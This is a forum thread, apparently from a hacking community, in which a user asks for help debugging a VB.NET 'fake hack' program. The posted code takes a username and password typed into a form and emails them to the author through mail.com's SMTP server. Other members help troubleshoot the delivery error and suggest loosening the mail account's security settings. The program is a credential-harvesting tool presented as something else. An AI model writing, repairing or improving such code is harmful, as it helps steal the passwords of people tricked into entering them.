I made a fake hack thingy but can somebody help me with "An Unhandled Exception of type 'System.Net.Mail.SmtpException" I think that the security of mail.com doesnt allow but can someone help me with this
|
.NET
mail.com error sending mail |
(May 7, 2016 03:09 PM)Oscura Wrote: Post your code so we can take a look at it. This. We can't really help without seeing the code so that we're able to figure out what caused the error.
If you have any questions regarding my products, you can contact me through the following:
Discord: FiftyTwo#2945 (May 7, 2016 03:09 PM)Oscura Wrote: Post your code so we can take a look at it. End Sub Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click If TextBox1.Text = "" Then MsgBox("Username is Missing") If TextBox2.Text = "" Then MsgBox("Password Is Missing") Else End If End If Dim smtpServer As New SmtpClient() Dim Mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "MyPass") 'using mail.com smtpServer.Port = 587 smtpServer.Host = "smtp.mail.com" smtpServer.EnableSsl = True Mail = New MailMessage() Mail.From = New MailAddress("[email protected]") Mail.To.Add("[email protected]") Mail.Subject = "Password :" & TextBox1.Text Mail.Body = "Password : " & TextBox1.Text & "," & "Username : " & TextBox2.Text smtpServer.Send(Mail) End Sub End Class
May 7, 2016 03:15 PM
(This post was last modified: May 7, 2016 03:23 PM by Oscura.)
(May 7, 2016 03:13 PM)timm1292 Wrote: End Sub"System.Net.Mail.SmtpException" is thrown when the application fails to complete a send email operation. Your code seems to look fine. Is there additional security on the mail.com email address that you're using?
If you have any questions regarding my products, you can contact me through the following:
Discord: FiftyTwo#2945 (May 7, 2016 03:17 PM)FiftyTwo Wrote: "System.Net.Mail.SmtpException" is thrown when the application fails to complete a send email operation. I searched but i cant find anything.. (May 7, 2016 03:18 PM)timm1292 Wrote: I searched but i cant find anything.. Please check out what I posted before. It should be the solution to your problem. (May 7, 2016 03:15 PM)Oscura Wrote: Gmail by default blocks that kind of requests. You should change the securty settings in your GMail account. Login to the account and navigate here. Turn the Access for less secure apps on. It's mail, not gmail.
If you have any questions regarding my products, you can contact me through the following:
Discord: FiftyTwo#2945 (May 7, 2016 03:21 PM)Oscura Wrote: Please check out what I posted before. It should be the solution to your problem. But Its Not Gmail But mail (mail.com) (May 7, 2016 03:35 PM)timm1292 Wrote: But Its Not Gmail But mail (mail.com) Oh right sorry, didn't notice that. |
|
|




![[Image: udTmsrL.png]](https://i.imgur.com/udTmsrL.png)